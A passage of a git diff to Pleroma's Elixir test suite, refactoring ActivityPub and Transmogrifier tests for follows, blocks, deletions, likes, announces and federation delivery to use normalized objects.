	end

	describe "uploading files" do
	test "copies the file to the configured folder" do
	file = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	{:ok, %Object{} = object} = ActivityPub.upload(file)
	assert object.data["name"] == "an_image.jpg"
	end

	test "works with base64 encoded images" do
	file = %{
	"img" => data_uri()
	}

	{:ok, %Object{}} = ActivityPub.upload(file)
	end
	end

	- describe "fetching an object" do
	- test "it fetches an object" do
	- {:ok, object} =
	- ActivityPub.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367")
	-
	- assert activity = Activity.get_create_by_object_ap_id(object.data["id"])
	- assert activity.data["id"]
	-
	- {:ok, object_again} =
	- ActivityPub.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367")
	-
	- assert [attachment] = object.data["attachment"]
	- assert is_list(attachment["url"])
	-
	- assert object == object_again
	- end
	-
	- test "it works with objects only available via Ostatus" do
	- {:ok, object} = ActivityPub.fetch_object_from_id("https://shitposter.club/notice/2827873")
	- assert activity = Activity.get_create_by_object_ap_id(object.data["id"])
	- assert activity.data["id"]
	-
	- {:ok, object_again} =
	- ActivityPub.fetch_object_from_id("https://shitposter.club/notice/2827873")
	+ describe "fetch the latest Follow" do
	+ test "fetches the latest Follow activity" do
	+ %Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity)
	+ follower = Repo.get_by(User, ap_id: activity.data["actor"])
	+ followed = Repo.get_by(User, ap_id: activity.data["object"])

	- assert object == object_again
	- end
	-
	- test "it correctly stitches up conversations between ostatus and ap" do
	- last = "https://mstdn.io/users/mayuutann/statuses/99568293732299394"
	- {:ok, object} = ActivityPub.fetch_object_from_id(last)
	-
	- object = Object.get_by_ap_id(object.data["inReplyTo"])
	- assert object
	+ assert activity == Utils.fetch_latest_follow(follower, followed)
	end
	end

	describe "following / unfollowing" do
	test "creates a follow activity" do
	follower = insert(:user)
	followed = insert(:user)

	{:ok, activity} = ActivityPub.follow(follower, followed)
	assert activity.data["type"] == "Follow"
	assert activity.data["actor"] == follower.ap_id
	assert activity.data["object"] == followed.ap_id
	end

	test "creates an undo activity for the last follow" do
	follower = insert(:user)
	followed = insert(:user)

	{:ok, follow_activity} = ActivityPub.follow(follower, followed)
	{:ok, activity} = ActivityPub.unfollow(follower, followed)

	assert activity.data["type"] == "Undo"
	assert activity.data["actor"] == follower.ap_id

	assert is_map(activity.data["object"])
	assert activity.data["object"]["type"] == "Follow"
	assert activity.data["object"]["object"] == followed.ap_id
	assert activity.data["object"]["id"] == follow_activity.data["id"]
	end
	end

	describe "blocking / unblocking" do
	test "creates a block activity" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, activity} = ActivityPub.block(blocker, blocked)

	assert activity.data["type"] == "Block"
	assert activity.data["actor"] == blocker.ap_id
	assert activity.data["object"] == blocked.ap_id
	end

	test "creates an undo activity for the last block" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, block_activity} = ActivityPub.block(blocker, blocked)
	{:ok, activity} = ActivityPub.unblock(blocker, blocked)

	assert activity.data["type"] == "Undo"
	assert activity.data["actor"] == blocker.ap_id

	assert is_map(activity.data["object"])
	assert activity.data["object"]["type"] == "Block"
	assert activity.data["object"]["object"] == blocked.ap_id
	assert activity.data["object"]["id"] == block_activity.data["id"]
	end
	end

	describe "deletion" do
	test "it creates a delete activity and deletes the original object" do
	note = insert(:note_activity)
	object = Object.get_by_ap_id(note.data["object"]["id"])
	{:ok, delete} = ActivityPub.delete(object)

	assert delete.data["type"] == "Delete"
	assert delete.data["actor"] == note.data["actor"]
	assert delete.data["object"] == note.data["object"]["id"]

	assert Activity.get_by_id(delete.id) != nil

	assert Repo.get(Object, object.id).data["type"] == "Tombstone"
	end

	test "decrements user note count only for public activities" do
	user = insert(:user, info: %{note_count: 10})

	{:ok, a1} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "yeah",
	"visibility" => "public"
	})

	{:ok, a2} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "yeah",
	"visibility" => "unlisted"
	})

	{:ok, a3} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "yeah",
	"visibility" => "private"
	})

	{:ok, a4} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "yeah",
	"visibility" => "direct"
	})

	- {:ok, _} = a1.data["object"]["id"] \|> Object.get_by_ap_id() \|> ActivityPub.delete()
	- {:ok, _} = a2.data["object"]["id"] \|> Object.get_by_ap_id() \|> ActivityPub.delete()
	- {:ok, _} = a3.data["object"]["id"] \|> Object.get_by_ap_id() \|> ActivityPub.delete()
	- {:ok, _} = a4.data["object"]["id"] \|> Object.get_by_ap_id() \|> ActivityPub.delete()
	+ {:ok, _} = Object.normalize(a1) \|> ActivityPub.delete()
	+ {:ok, _} = Object.normalize(a2) \|> ActivityPub.delete()
	+ {:ok, _} = Object.normalize(a3) \|> ActivityPub.delete()
	+ {:ok, _} = Object.normalize(a4) \|> ActivityPub.delete()

	user = User.get_cached_by_id(user.id)
	assert user.info.note_count == 10
	end

	test "it creates a delete activity and checks that it is also sent to users mentioned by the deleted object" do
	user = insert(:user)
	note = insert(:note_activity)

	{:ok, object} =
	Object.get_by_ap_id(note.data["object"]["id"])
	\|> Object.change(%{
	data: %{
	"actor" => note.data["object"]["actor"],
	"id" => note.data["object"]["id"],
	"to" => [user.ap_id],
	"type" => "Note"
	}
	})
	\|> Object.update_and_set_cache()

	{:ok, delete} = ActivityPub.delete(object)

	assert user.ap_id in delete.data["to"]
	end

	test "decreases reply count" do
	user = insert(:user)
	user2 = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "1", "visibility" => "public"})
	reply_data = %{"status" => "1", "in_reply_to_status_id" => activity.id}
	ap_id = activity.data["id"]

	{:ok, public_reply} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "public"))
	{:ok, unlisted_reply} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "unlisted"))
	{:ok, private_reply} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "private"))
	{:ok, direct_reply} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "direct"))

	_ = CommonAPI.delete(direct_reply.id, user2)
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	- assert data["object"]["repliesCount"] == 2
	assert object.data["repliesCount"] == 2

	_ = CommonAPI.delete(private_reply.id, user2)
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	- assert data["object"]["repliesCount"] == 2
	assert object.data["repliesCount"] == 2

	_ = CommonAPI.delete(public_reply.id, user2)
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	- assert data["object"]["repliesCount"] == 1
	assert object.data["repliesCount"] == 1

	_ = CommonAPI.delete(unlisted_reply.id, user2)
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	- assert data["object"]["repliesCount"] == 0
	assert object.data["repliesCount"] == 0
	end
	end

	describe "timeline post-processing" do
	test "it filters broken threads" do
	user1 = insert(:user)
	user2 = insert(:user)
	user3 = insert(:user)

	{:ok, user1} = User.follow(user1, user3)
	assert User.following?(user1, user3)

	{:ok, user2} = User.follow(user2, user3)
	assert User.following?(user2, user3)

	{:ok, user3} = User.follow(user3, user2)
	assert User.following?(user3, user2)

	{:ok, public_activity} = CommonAPI.post(user3, %{"status" => "hi 1"})

	{:ok, private_activity_1} =
	CommonAPI.post(user3, %{"status" => "hi 2", "visibility" => "private"})

	{:ok, private_activity_2} =
	CommonAPI.post(user2, %{
	"status" => "hi 3",
	"visibility" => "private",
	"in_reply_to_status_id" => private_activity_1.id
	})

	{:ok, private_activity_3} =
	CommonAPI.post(user3, %{
	"status" => "hi 4",
	"visibility" => "private",
	"in_reply_to_status_id" => private_activity_2.id
	})

	activities = ActivityPub.fetch_activities([user1.ap_id \| user1.following])

	private_activity_1 = Activity.get_by_ap_id_with_object(private_activity_1.data["id"])
	- assert [public_activity, private_activity_1, private_activity_3] == activities
	+
	+ assert [public_activity, private_activity_1, private_activity_3] ==
	+ activities
	+
	assert length(activities) == 3

	activities = ActivityPub.contain_timeline(activities, user1)

	assert [public_activity, private_activity_1] == activities
	assert length(activities) == 2
	end
	end

	- test "it can fetch plume articles" do
	- {:ok, object} =
	- ActivityPub.fetch_object_from_id(
	- "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/"
	- )
	-
	- assert object
	- end
	-
	describe "update" do
	test "it creates an update activity with the new user data" do
	user = insert(:user)
	{:ok, user} = Pleroma.Web.WebFinger.ensure_keys_present(user)
	user_data = Pleroma.Web.ActivityPub.UserView.render("user.json", %{user: user})

	{:ok, update} =
	ActivityPub.update(%{
	actor: user_data["id"],
	to: [user.follower_address],
	cc: [],
	object: user_data
	})

	assert update.data["actor"] == user.ap_id
	assert update.data["to"] == [user.follower_address]
	assert update.data["object"]["id"] == user_data["id"]
	assert update.data["object"]["type"] == user_data["type"]
	end
	end

	- test "it can fetch peertube videos" do
	- {:ok, object} =
	- ActivityPub.fetch_object_from_id(
	- "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3"
	- )
	-
	- assert object
	- end
	-
	test "returned pinned statuses" do
	Pleroma.Config.put([:instance, :max_pinned_statuses], 3)
	user = insert(:user)

	{:ok, activity_one} = CommonAPI.post(user, %{"status" => "HI!!!"})
	{:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"})
	{:ok, activity_three} = CommonAPI.post(user, %{"status" => "HI!!!"})

	CommonAPI.pin(activity_one.id, user)
	user = refresh_record(user)

	CommonAPI.pin(activity_two.id, user)
	user = refresh_record(user)

	CommonAPI.pin(activity_three.id, user)
	user = refresh_record(user)

	activities = ActivityPub.fetch_user_activities(user, nil, %{"pinned" => "true"})

	assert 3 = length(activities)
	end

	test "it can create a Flag activity" do
	reporter = insert(:user)
	target_account = insert(:user)
	{:ok, activity} = CommonAPI.post(target_account, %{"status" => "foobar"})
	context = Utils.generate_context_id()
	content = "foobar"

	reporter_ap_id = reporter.ap_id
	target_ap_id = target_account.ap_id
	activity_ap_id = activity.data["id"]

	assert {:ok, activity} =
	ActivityPub.flag(%{
	actor: reporter,
	context: context,
	account: target_account,
	statuses: [activity],
	content: content
	})

	assert %Activity{
	actor: ^reporter_ap_id,
	data: %{
	"type" => "Flag",
	"content" => ^content,
	"context" => ^context,
	"object" => [^target_ap_id, ^activity_ap_id]
	}
	} = activity
	end

	describe "publish_one/1" do
	test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is not specified",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://200.site/users/nick1/inbox"

	assert {:ok, _} = ActivityPub.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})

	assert called(Instances.set_reachable(inbox))
	end

	test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is set",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://200.site/users/nick1/inbox"

	assert {:ok, _} =
	ActivityPub.publish_one(%{
	inbox: inbox,
	json: "{}",
	actor: actor,
	id: 1,
	unreachable_since: NaiveDateTime.utc_now()
	})

	assert called(Instances.set_reachable(inbox))
	end

	test_with_mock "does NOT call `Instances.set_reachable` on successful federation if `unreachable_since` is nil",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://200.site/users/nick1/inbox"

	assert {:ok, _} =
	ActivityPub.publish_one(%{
	inbox: inbox,
	json: "{}",
	actor: actor,
	id: 1,
	unreachable_since: nil
	})

	refute called(Instances.set_reachable(inbox))
	end

	test_with_mock "calls `Instances.set_unreachable` on target inbox on non-2xx HTTP response code",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://404.site/users/nick1/inbox"

	assert {:error, _} =
	ActivityPub.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})

	assert called(Instances.set_unreachable(inbox))
	end

	test_with_mock "it calls `Instances.set_unreachable` on target inbox on request error of any kind",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://connrefused.site/users/nick1/inbox"

	assert {:error, _} =
	ActivityPub.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})

	assert called(Instances.set_unreachable(inbox))
	end

	test_with_mock "does NOT call `Instances.set_unreachable` if target is reachable",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://200.site/users/nick1/inbox"

	assert {:ok, _} = ActivityPub.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})

	refute called(Instances.set_unreachable(inbox))
	end

	test_with_mock "does NOT call `Instances.set_unreachable` if target instance has non-nil `unreachable_since`",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://connrefused.site/users/nick1/inbox"

	assert {:error, _} =
	ActivityPub.publish_one(%{
	inbox: inbox,
	json: "{}",
	actor: actor,
	id: 1,
	unreachable_since: NaiveDateTime.utc_now()
	})

	refute called(Instances.set_unreachable(inbox))
	end
	end

	def data_uri do
	File.read!("test/fixtures/avatar_data_uri")
	end
	end
	diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs
	index 6c94ade43..31e36a987 100644
	--- a/test/web/activity_pub/transmogrifier_test.exs
	+++ b/test/web/activity_pub/transmogrifier_test.exs
	@@ -1,1252 +1,1192 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
	use Pleroma.DataCase
	alias Pleroma.Activity
	alias Pleroma.Object
	+ alias Pleroma.Object.Fetcher
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.OStatus
	alias Pleroma.Web.Websub.WebsubClientSubscription

	import Pleroma.Factory
	alias Pleroma.Web.CommonAPI

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "handle_incoming" do
	test "it ignores an incoming notice if we already have it" do
	activity = insert(:note_activity)

	data =
	File.read!("test/fixtures/mastodon-post-activity.json")
	\|> Poison.decode!()
	\|> Map.put("object", activity.data["object"])

	{:ok, returned_activity} = Transmogrifier.handle_incoming(data)

	assert activity == returned_activity
	end

	test "it fetches replied-to activities if we don't have them" do
	data =
	File.read!("test/fixtures/mastodon-post-activity.json")
	\|> Poison.decode!()

	object =
	data["object"]
	\|> Map.put("inReplyTo", "https://shitposter.club/notice/2827873")

	data =
	data
	\|> Map.put("object", object)

	{:ok, returned_activity} = Transmogrifier.handle_incoming(data)
	+ returned_object = Object.normalize(returned_activity.data["object"])

	assert activity =
	Activity.get_create_by_object_ap_id(
	"tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
	)

	- assert returned_activity.data["object"]["inReplyToAtomUri"] ==
	- "https://shitposter.club/notice/2827873"
	+ assert returned_object.data["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
	end

	test "it works for incoming notices" do
	data = File.read!("test/fixtures/mastodon-post-activity.json") \|> Poison.decode!()

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["id"] ==
	"http://mastodon.example.org/users/admin/statuses/99512778738411822/activity"

	assert data["context"] ==
	"tag:mastodon.example.org,2018-02-12:objectId=20:objectType=Conversation"

	assert data["to"] == ["https://www.w3.org/ns/activitystreams#Public"]

	assert data["cc"] == [
	"http://mastodon.example.org/users/admin/followers",
	"http://localtesting.pleroma.lol/users/lain"
	]

	assert data["actor"] == "http://mastodon.example.org/users/admin"

	- object = data["object"]
	+ object = Object.normalize(data["object"]).data
	assert object["id"] == "http://mastodon.example.org/users/admin/statuses/99512778738411822"

	assert object["to"] == ["https://www.w3.org/ns/activitystreams#Public"]

	assert object["cc"] == [
	"http://mastodon.example.org/users/admin/followers",
	"http://localtesting.pleroma.lol/users/lain"
	]

	assert object["actor"] == "http://mastodon.example.org/users/admin"
	assert object["attributedTo"] == "http://mastodon.example.org/users/admin"

	assert object["context"] ==
	"tag:mastodon.example.org,2018-02-12:objectId=20:objectType=Conversation"

	assert object["sensitive"] == true

	user = User.get_cached_by_ap_id(object["actor"])

	assert user.info.note_count == 1
	end

	test "it works for incoming notices with hashtags" do
	data = File.read!("test/fixtures/mastodon-post-activity-hashtag.json") \|> Poison.decode!()

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
	- assert Enum.at(data["object"]["tag"], 2) == "moo"
	+ object = Object.normalize(data["object"])
	+
	+ assert Enum.at(object.data["tag"], 2) == "moo"
	end

	test "it works for incoming notices with contentMap" do
	data =
	File.read!("test/fixtures/mastodon-post-activity-contentmap.json") \|> Poison.decode!()

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
	+ object = Object.normalize(data["object"])

	- assert data["object"]["content"] ==
	+ assert object.data["content"] ==
	"<p><span class=\"h-card\"><a href=\"http://localtesting.pleroma.lol/users/lain\" class=\"u-url mention\">@<span>lain</span></a></span></p>"
	end

	test "it works for incoming notices with to/cc not being an array (kroeg)" do
	data = File.read!("test/fixtures/kroeg-post-activity.json") \|> Poison.decode!()

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
	+ object = Object.normalize(data["object"])

	- assert data["object"]["content"] ==
	+ assert object.data["content"] ==
	"<p>henlo from my Psion netBook</p><p>message sent from my Psion netBook</p>"
	end

	test "it works for incoming announces with actor being inlined (kroeg)" do
	data = File.read!("test/fixtures/kroeg-announce-with-inline-actor.json") \|> Poison.decode!()

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["actor"] == "https://puckipedia.com/"
	end

	test "it works for incoming notices with tag not being an array (kroeg)" do
	data = File.read!("test/fixtures/kroeg-array-less-emoji.json") \|> Poison.decode!()

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
	+ object = Object.normalize(data["object"])

	- assert data["object"]["emoji"] == %{
	+ assert object.data["emoji"] == %{
	"icon_e_smile" => "https://puckipedia.com/forum/images/smilies/icon_e_smile.png"
	}

	data = File.read!("test/fixtures/kroeg-array-less-hashtag.json") \|> Poison.decode!()

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
	+ object = Object.normalize(data["object"])

	- assert "test" in data["object"]["tag"]
	+ assert "test" in object.data["tag"]
	end

	test "it works for incoming notices with url not being a string (prismo)" do
	data = File.read!("test/fixtures/prismo-url-map.json") \|> Poison.decode!()

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
	+ object = Object.normalize(data["object"])

	- assert data["object"]["url"] == "https://prismo.news/posts/83"
	+ assert object.data["url"] == "https://prismo.news/posts/83"
	end

	test "it cleans up incoming notices which are not really DMs" do
	user = insert(:user)
	other_user = insert(:user)

	to = [user.ap_id, other_user.ap_id]

	data =
	File.read!("test/fixtures/mastodon-post-activity.json")
	\|> Poison.decode!()
	\|> Map.put("to", to)
	\|> Map.put("cc", [])

	object =
	data["object"]
	\|> Map.put("to", to)
	\|> Map.put("cc", [])

	data = Map.put(data, "object", object)

	- {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
	+ {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data)

	assert data["to"] == []
	assert data["cc"] == to

	- object = data["object"]
	+ object_data = Object.normalize(activity).data

	- assert object["to"] == []
	- assert object["cc"] == to
	+ assert object_data["to"] == []
	+ assert object_data["cc"] == to
	end

	test "it works for incoming follow requests" do
	user = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-follow-activity.json")
	\|> Poison.decode!()
	\|> Map.put("object", user.ap_id)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["actor"] == "http://mastodon.example.org/users/admin"
	assert data["type"] == "Follow"
	assert data["id"] == "http://mastodon.example.org/users/admin#follows/2"
	assert User.following?(User.get_cached_by_ap_id(data["actor"]), user)
	end

	test "it works for incoming follow requests from hubzilla" do
	user = insert(:user)

	data =
	File.read!("test/fixtures/hubzilla-follow-activity.json")
	\|> Poison.decode!()
	\|> Map.put("object", user.ap_id)
	\|> Utils.normalize_params()

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["actor"] == "https://hubzilla.example.org/channel/kaniini"
	assert data["type"] == "Follow"
	assert data["id"] == "https://hubzilla.example.org/channel/kaniini#follows/2"
	assert User.following?(User.get_cached_by_ap_id(data["actor"]), user)
	end

	test "it works for incoming likes" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "hello"})

	data =
	File.read!("test/fixtures/mastodon-like.json")
	\|> Poison.decode!()
	- \|> Map.put("object", activity.data["object"]["id"])
	+ \|> Map.put("object", activity.data["object"])

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["actor"] == "http://mastodon.example.org/users/admin"
	assert data["type"] == "Like"
	assert data["id"] == "http://mastodon.example.org/users/admin#likes/2"
	- assert data["object"] == activity.data["object"]["id"]
	+ assert data["object"] == activity.data["object"]
	end

	test "it returns an error for incoming unlikes wihout a like activity" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "leave a like pls"})

	data =
	File.read!("test/fixtures/mastodon-undo-like.json")
	\|> Poison.decode!()
	- \|> Map.put("object", activity.data["object"]["id"])
	+ \|> Map.put("object", activity.data["object"])

	assert Transmogrifier.handle_incoming(data) == :error
	end

	test "it works for incoming unlikes with an existing like activity" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "leave a like pls"})

	like_data =
	File.read!("test/fixtures/mastodon-like.json")
	\|> Poison.decode!()
	- \|> Map.put("object", activity.data["object"]["id"])
	+ \|> Map.put("object", activity.data["object"])

	{:ok, %Activity{data: like_data, local: false}} = Transmogrifier.handle_incoming(like_data)

	data =
	File.read!("test/fixtures/mastodon-undo-like.json")
	\|> Poison.decode!()
	\|> Map.put("object", like_data)
	\|> Map.put("actor", like_data["actor"])

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["actor"] == "http://mastodon.example.org/users/admin"
	assert data["type"] == "Undo"
	assert data["id"] == "http://mastodon.example.org/users/admin#likes/2/undo"
	assert data["object"]["id"] == "http://mastodon.example.org/users/admin#likes/2"
	end

	test "it works for incoming announces" do
	data = File.read!("test/fixtures/mastodon-announce.json") \|> Poison.decode!()

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["actor"] == "http://mastodon.example.org/users/admin"
	assert data["type"] == "Announce"

	assert data["id"] ==
	"http://mastodon.example.org/users/admin/statuses/99542391527669785/activity"

	assert data["object"] ==
	"http://mastodon.example.org/users/admin/statuses/99541947525187367"

	assert Activity.get_create_by_object_ap_id(data["object"])
	end

	test "it works for incoming announces with an existing activity" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "hey"})

	data =
	File.read!("test/fixtures/mastodon-announce.json")
	\|> Poison.decode!()
	- \|> Map.put("object", activity.data["object"]["id"])
	+ \|> Map.put("object", activity.data["object"])

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["actor"] == "http://mastodon.example.org/users/admin"
	assert data["type"] == "Announce"

	assert data["id"] ==
	"http://mastodon.example.org/users/admin/statuses/99542391527669785/activity"

	- assert data["object"] == activity.data["object"]["id"]
	+ assert data["object"] == activity.data["object"]

	assert Activity.get_create_by_object_ap_id(data["object"]).id == activity.id
	end

	test "it does not clobber the addressing on announce activities" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "hey"})

	data =
	File.read!("test/fixtures/mastodon-announce.json")
	\|> Poison.decode!()
	- \|> Map.put("object", activity.data["object"]["id"])
	+ \|> Map.put("object", Object.normalize(activity).data["id"])
	\|> Map.put("to", ["http://mastodon.example.org/users/admin/followers"])
	\|> Map.put("cc", [])

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["to"] == ["http://mastodon.example.org/users/admin/followers"]
	end

	test "it ensures that as:Public activities make it to their followers collection" do
	user = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-post-activity.json")
	\|> Poison.decode!()
	\|> Map.put("actor", user.ap_id)
	\|> Map.put("to", ["https://www.w3.org/ns/activitystreams#Public"])
	\|> Map.put("cc", [])

	object =
	data["object"]
	\|> Map.put("attributedTo", user.ap_id)
	\|> Map.put("to", ["https://www.w3.org/ns/activitystreams#Public"])
	\|> Map.put("cc", [])

	data = Map.put(data, "object", object)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["cc"] == [User.ap_followers(user)]
	end

	test "it ensures that address fields become lists" do
	user = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-post-activity.json")
	\|> Poison.decode!()
	\|> Map.put("actor", user.ap_id)
	\|> Map.put("to", nil)
	\|> Map.put("cc", nil)

	object =
	data["object"]
	\|> Map.put("attributedTo", user.ap_id)
	\|> Map.put("to", nil)
	\|> Map.put("cc", nil)

	data = Map.put(data, "object", object)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert !is_nil(data["to"])
	assert !is_nil(data["cc"])
	end

	test "it works for incoming update activities" do
	data = File.read!("test/fixtures/mastodon-post-activity.json") \|> Poison.decode!()

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
	update_data = File.read!("test/fixtures/mastodon-update.json") \|> Poison.decode!()

	object =
	update_data["object"]
	\|> Map.put("actor", data["actor"])
	\|> Map.put("id", data["actor"])

	update_data =
	update_data
	\|> Map.put("actor", data["actor"])
	\|> Map.put("object", object)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(update_data)

	user = User.get_cached_by_ap_id(data["actor"])
	assert user.name == "gargle"

	assert user.avatar["url"] == [
	%{
	"href" =>
	"https://cd.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg"
	}
	]

	assert user.info.banner["url"] == [
	%{
	"href" =>
	"https://cd.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png"
	}
	]

	assert user.bio == "<p>Some bio</p>"
	end

	test "it works for incoming update activities which lock the account" do
	data = File.read!("test/fixtures/mastodon-post-activity.json") \|> Poison.decode!()

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
	update_data = File.read!("test/fixtures/mastodon-update.json") \|> Poison.decode!()

	object =
	update_data["object"]
	\|> Map.put("actor", data["actor"])
	\|> Map.put("id", data["actor"])
	\|> Map.put("manuallyApprovesFollowers", true)

	update_data =
	update_data
	\|> Map.put("actor", data["actor"])
	\|> Map.put("object", object)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(update_data)

	user = User.get_cached_by_ap_id(data["actor"])
	assert user.info.locked == true
	end

	test "it works for incoming deletes" do
	activity = insert(:note_activity)

	data =
	File.read!("test/fixtures/mastodon-delete.json")
	\|> Poison.decode!()

	object =
	data["object"]
	- \|> Map.put("id", activity.data["object"]["id"])
	+ \|> Map.put("id", activity.data["object"])

	data =
	data
	\|> Map.put("object", object)
	\|> Map.put("actor", activity.data["actor"])

	{:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data)

	refute Activity.get_by_id(activity.id)
	end

	test "it fails for incoming deletes with spoofed origin" do
	activity = insert(:note_activity)

	data =
	File.read!("test/fixtures/mastodon-delete.json")
	\|> Poison.decode!()

	object =
	data["object"]
	- \|> Map.put("id", activity.data["object"]["id"])
	+ \|> Map.put("id", activity.data["object"])

	data =
	data
	\|> Map.put("object", object)

	:error = Transmogrifier.handle_incoming(data)

	assert Activity.get_by_id(activity.id)
	end

	test "it works for incoming unannounces with an existing notice" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "hey"})

	announce_data =
	File.read!("test/fixtures/mastodon-announce.json")
	\|> Poison.decode!()
	- \|> Map.put("object", activity.data["object"]["id"])
	+ \|> Map.put("object", activity.data["object"])

	{:ok, %Activity{data: announce_data, local: false}} =
	Transmogrifier.handle_incoming(announce_data)

	data =
	File.read!("test/fixtures/mastodon-undo-announce.json")
	\|> Poison.decode!()
	\|> Map.put("object", announce_data)
	\|> Map.put("actor", announce_data["actor"])

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["type"] == "Undo"
	assert data["object"]["type"] == "Announce"
	- assert data["object"]["object"] == activity.data["object"]["id"]
	+ assert data["object"]["object"] == activity.data["object"]

	assert data["object"]["id"] ==
	"http://mastodon.example.org/users/admin/statuses/99542391527669785/activity"
	end

	test "it works for incomming unfollows with an existing follow" do
	user = insert(:user)

	follow_data =
	File.read!("test/fixtures/mastodon-follow-activity.json")
	\|> Poison.decode!()
	\|> Map.put("object", user.ap_id)

	{:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(follow_data)

	data =
	File.read!("test/fixtures/mastodon-unfollow-activity.json")
	\|> Poison.decode!()
	\|> Map.put("object", follow_data)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["type"] == "Undo"
	assert data["object"]["type"] == "Follow"
	assert data["object"]["object"] == user.ap_id
	assert data["actor"] == "http://mastodon.example.org/users/admin"

	refute User.following?(User.get_cached_by_ap_id(data["actor"]), user)
	end

	test "it works for incoming blocks" do
	user = insert(:user)

	data =
